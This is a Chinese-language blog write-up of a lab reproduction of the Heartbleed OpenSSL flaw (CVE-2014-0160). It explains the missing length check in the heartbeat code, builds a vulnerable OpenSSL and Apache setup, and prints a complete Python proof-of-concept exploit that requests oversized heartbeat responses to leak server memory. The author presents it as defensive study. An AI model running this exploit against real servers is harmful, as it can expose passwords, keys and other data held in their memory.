文章目录
  1. 1. 了解漏洞
    1. 1.1. heartbleed漏洞是什么?
    2. 1.2. 它的基本背景和影响是什么?
  2. 2. 分析漏洞原理
    1. 2.1. 源码中那些地方出现了问题?
    2. 2.2. 从poc中哪里可以体现出漏洞,poc又是怎样利用的漏洞?
  3. 3. 漏洞的复现与利用
    1. 3.1. 安装配置openssl,如何安装,如何解决系统自带openssl;
    2. 3.2. 安装配置Apache(PHP),如何让Apache与openssl连接;
    3. 3.3. 利用openssl生成证书并修改Apache配置,实现https访问;
    4. 3.4. 利用poc进行攻击,实现预期目标;
    5. 3.5. 进一步理解heartbleed的漏洞原理
    6. 3.6. heartbleed漏洞的风险是什么

欢迎来我的博客,这是我在学习heartbleed漏洞复现与利用问题的一些操作与收获。学习的目的是为了更好的了解这个漏洞,然后去防御它,而不是为了危害他人。
实验背景:
1.VMware 12 pro
2.fedora 27

了解漏洞

heartbleed漏洞是什么?

它的基本背景和影响是什么?

背景:如果要使 SSL 发挥作用,计算机需要与服务器进行通信。为此,它会发送称为“heartbeat”(心跳)的信息。heartbeat 所做的就是向服务器发送特定信号以确定服务器是否联机。如果服务器联机,它会向计算机发送回该信号,让用户可以尽享安全的通信。计算机和服务器会定期发送 heartbeat 以确定用户和服务器没有脱机。

影响:这一漏洞让任何人都能读取系统的运行内存,能使攻击者能够从内存中读取最多64 KB的数据。

分析漏洞原理

源码中那些地方出现了问题?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl; //p 指向对端发来的心跳数据包
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
……
hbtype = *p++; //心跳数据包的第0个字节,表示心跳包的类型
n2s(p, payload); //接下来2个字节是长度。n2s 是个宏,把这2个字节取出,保存为整型,然后指针移2字节
pl = p; //此时p指向第3个字节——也就是对端提供的心跳包载荷
……
unsigned char *buffer, *bp;
int r;
buffer = OPENSSL_malloc(1 + 2 + payload + padding); //根据 payload 分配内存,额外的3字节用于存放类型和长度
bp = buffer;
……
*bp++ = TLS1_HB_RESPONSE; //填充类型
s2n(payload, bp); //填充长度
memcpy(bp, pl, payload); //填充回应包的载荷【亮点在这里】

服务器处理心跳原来的方式是首先直接解析type和payload,什么都不做任何的检查。如果长度跟实际载荷不匹配,那么在发送回应包的时候,那句 memcpy 语句就会把心跳包之后的内存区块也一起 copy 进去,然后发给对端。内存信息就泄露了。

从poc中哪里可以体现出漏洞,poc又是怎样利用的漏洞?


1
2
3
4
5
6
在hb中数字表示的意义
18 : hearbeat record
03 02 : TLS version
00 03 : length
01 : hearbeat request
40 00 : payload 长度

漏洞的体现就在于payload的长度没有验证,如果payload长度大于正常应该回应的长度就会发生内存的泄漏。
所以我们只要把这个长度改的足够大就话就能保证能从内存中提取出一些信息。

漏洞的复现与利用

安装配置openssl,如何安装,如何解决系统自带openssl;

先查看现在的版本是否存在该漏洞(OpenSSL v1.0.1到1.0.1f存在该漏洞),输入:

1
$ openssl version -a

发现当前系统openssl版本不存在漏洞,这时候我们就要安装存在漏洞的版本。我选择的是安装1.0.1版本(在官网上能找到相应的安装包)。

编译ssl时的配置

1
2
$ sudo ./config --prefix=/usr/local/ssl shared -fPIC no-gost
//shared 是为了生成动态共享库,用来替换系统在的openssl共享库

之后输入命令进行编译安装

1
$ sudo make && make install

在安装过程中如果遇到了这个错误

1
POD document had syntax errors at /usr/bin/pod2man line 69. make: *** [install_docs]

可以执行下面语句后再重新编译安装。

1
rm -f /usr/bin/pod2man

安装完成后
在/etc/ld.so.conf文件的最后面,添加如下内容:

1
/usr/local/ssl/lib      //即安装目录下的lib的路径

之后执行下列语句更新一下动态数据库

1
$ ldconfig

在etc/的profile的最后一行添加OPESSL的环境变量:

1
2
export OPENSSL=/usr/local/ssl/bin
export PATH=$OPENSSL:$PATH:$HOME/bin

之后重启,重启后输入:

1
$ openssl version -a

如果出现下面的信息说明把原来的openssl覆盖掉了,安装成功。

安装配置Apache(PHP),如何让Apache与openssl连接;

安装httpd2.2.34

首先先解决安装依赖的问题

http://archive.apache.org/dist/apr/下载apr-1.5.1.tar.gz和apr-util-1.5.2.tar.gz

先安装apr-1.51

1
$ tar -zxvf apr-1.5.1.tar.gz

解压后进入相应的目录执行:

1
2
$ sudo ./configure --prefix=/usr/local/apr 
$ sudo make && make install

之后安装apr-util-1.5.2

1
$ tar -zxvf apr-util-1.5.2.tar.gz

解压后进入相应的目录执行:

1
2
$ sudo ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr
$ sudo make && make install

这样两个依赖文件就安装完了,

http://archive.apache.org/dist/httpd/下载httpd2.2.34

解压后进入相应文件执行:

1
2
3
$ sudo ./configure?--prefix=/usr/local/httpd?--enable-so?--enable-rewrite?--enable-ssl?--with-ssl=/usr/local/ssl?--with-apr=/usr/local/apr?--with-apr-util=/usr/local/apr-util
//(--with-ssl=/usr/local/ssl这个配置让Apache与openssl连接)
$ sudo make && make install

这样就安装完httpd2.2.34了。

利用openssl生成证书并修改Apache配置,实现https访问;

首先生成证书

1
2
3
$ sudo openssl genrsa -out server.key 1024     //建立服务器密钥     
$ sudo openssl req -new -key server.key -out server.csr //建立服务器公钥
$ sudo openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt //建立服务器证书

之后进入httpd/conf/extra

1
$ sudo vim httpd-ssl.conf

将生成密钥和证书的位置修改为你用openssl1.0.1生成的密钥和证书的位置

将servername修改如下:

还要在httpd/conf/下修改httpd.conf文件

第417行

第98行处

之后启动服务

利用poc进行攻击,实现预期目标;

1)利用nmap的脚本进行检测
执行命令

1
$ nmap -sV 192.168.203.132 --script=ssl-heartbleed (若你修改了端口号则需要把修改的端口号填上)

若出现下面的情况说明存在heartbleed漏洞

2)利用python代码进行攻击
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata


def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False

if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True

if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if __name__ == '__main__':
main()

可以把该文件改为可进行文件 执行chmod a+x 该文件名。

如果在扫描的末尾出现了下列语句说明存在该漏洞。

由于自己搭建的服务器什么都没有,所以也没有读取到什么信息。

进一步理解heartbleed的漏洞原理

心跳包说明
18 : hearbeat record
03 02 : TLS version
00 03 : length
01 : hearbeat request
40 00 : payload 长度
“HeartbeatMessage的总长度不得超过2 ^ 14,即40 00”,有效字节大小为16384bytes
在这里我修改了长度为2000。

在这种情况下返回的心跳包大小为8192bytes,之后我又修改为40 00。

在这里会显示错误,字长超过了有效字长。

heartbleed漏洞的风险是什么

如果你进行了一些敏感操作,敏感信息就会存在与内存之中,这时候别人就可以利用heartbleed漏洞对内存的信息进行提取,这样你的信息就有可能被别人获取,如果你的银行卡帐号密码被获取了,你就有可能面临财产的损失。

文章目录
  1. 1. 了解漏洞
    1. 1.1. heartbleed漏洞是什么?
    2. 1.2. 它的基本背景和影响是什么?
  2. 2. 分析漏洞原理
    1. 2.1. 源码中那些地方出现了问题?
    2. 2.2. 从poc中哪里可以体现出漏洞,poc又是怎样利用的漏洞?
  3. 3. 漏洞的复现与利用
    1. 3.1. 安装配置openssl,如何安装,如何解决系统自带openssl;
    2. 3.2. 安装配置Apache(PHP),如何让Apache与openssl连接;
    3. 3.3. 利用openssl生成证书并修改Apache配置,实现https访问;
    4. 3.4. 利用poc进行攻击,实现预期目标;
    5. 3.5. 进一步理解heartbleed的漏洞原理
    6. 3.6. heartbleed漏洞的风险是什么